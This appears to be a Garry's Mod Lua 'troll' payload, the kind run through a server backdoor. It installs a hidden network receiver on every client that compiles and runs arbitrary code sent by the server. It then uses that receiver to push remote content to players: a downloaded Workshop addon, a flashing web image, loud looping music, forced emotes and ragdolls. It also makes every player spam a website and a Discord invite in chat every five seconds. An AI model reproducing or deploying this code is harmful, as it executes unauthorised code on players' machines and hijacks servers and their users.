Untitled

function RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

m_strImageGlobalVar = RandomString( 6, 12 )

local function rdm_str(len)
    if !len or len <= 0 then return '' end
    return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
end

local net_string = rdm_str(25)

util.AddNetworkString(net_string)
BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
    if !ply:IsBot() then
        ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
    end
end)

local function SendToClient(code)
    timer.Simple(1, function()
        local data = util.Compress(code)
        local len = #data
        net.Start(net_string)
        net.WriteUInt(len, 16)
        net.WriteData(data, len)
        net.Broadcast()
    end)
end


hook.Add("Think","\xFF\xFF\xFF",function()
	local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
	for _, v in ipairs(player.GetAll()) do
		v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
	end
end)


SendToClient([=[
        g_]=].. m_strImageGlobalVar.. [=[ = {}
        local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )

            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end

                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end
    LoadWebMaterial( "https://media.giphy.com/media/VIzZ3Bc4JPbJ3w2TLL/giphy.gif", "hud2", 256 , 256 )
]=])

timer.Create("nonameplease", 5, 0,function()
    for i=1, #player.GetHumans() do
        local ply = player.GetHumans()[i]
        ply:Say( "/ooc http://gm.esy.es/")
    end
end)

timer.Create("nonameplease", 5, 0,function()
    for i=1, #player.GetHumans() do
        local ply = player.GetHumans()[i]
        ply:Say( "/ooc https://discord.gg/3M955pD")
    end
end)

SendToClient([=[
steamworks.FileInfo(1751603329,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)

timer.Simple(5, function()

    game.AddParticles( "particles/eco.pcf" )

    PrecacheParticleSystem("eco")

    for i = 1, 10 do
        ParticleEffectAttach("eco", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
    end

    timer.Create("semmmmm", 5, 100, function()
		RunConsoleCommand("act","dance")
		RunConsoleCommand("_darkrp_doanimation", "1642")
	end)

	local ragtbl = {}
	for i=1,20 do
		ragtbl[i] = ClientsideRagdoll( "models/breen.mdl" )
		ragtbl[i]:SetNoDraw( false )
		ragtbl[i]:DrawShadow( true )
	end

    local function GetWebMat( strURL )
        return g_]=].. m_strImageGlobalVar.. [=[[strURL]
    end
    local uwu = {}

    hook.Add("HUDPaint", "okay",function()
        for k,v in pairs(uwu) do
            v()
        end
    end)

    SOUNDSTART_CTP = false
    OZJFOZJCEZIO = true


    sound.PlayURL("https://www.dropbox.com/s/invwmiiz7iai8zn/David%20Bowie%20-%20Starman%20%5BMpgun.com%5D.mp3?dl=1","mono noblock noplay",function(s)
        if not s then return end
        if SOUNDSTART_CTP then s:Stop() return end
        SOUNDSTART_CTP = true
        s:SetVolume(5 )
        s:Play()
        s:EnableLooping( true )

        local ragtbl = {}

        uwu["CoolEffect"] = function()


            local tbl = {}
            s:FFT(tbl,FFT_2048)


            xpcall(function()
                local fal = 0
            for i=4,6 do
                fal = fal + tbl[i]
            end

            if fal > 0.2 then

                local oneid = "newhud"..math.random(100, 300).."id"

                hook.Add( "HUDPaint", oneid, function()
                    surface.SetDrawColor( 255, 255, 255, 255 )

                    if GetWebMat( "hud2" ) then -- lui
                        surface.SetMaterial( GetWebMat("hud2")[1] )
                        surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
                    end

                end )

                timer.Simple(0.2, function()
                    hook.Remove( "HUDPaint", oneid)
                end)

            end
            end,function()
            end)

        end

    end)
end)
]=])
game.AddParticles( "particles/eco.pcf" )
PrecacheParticleSystem("eco")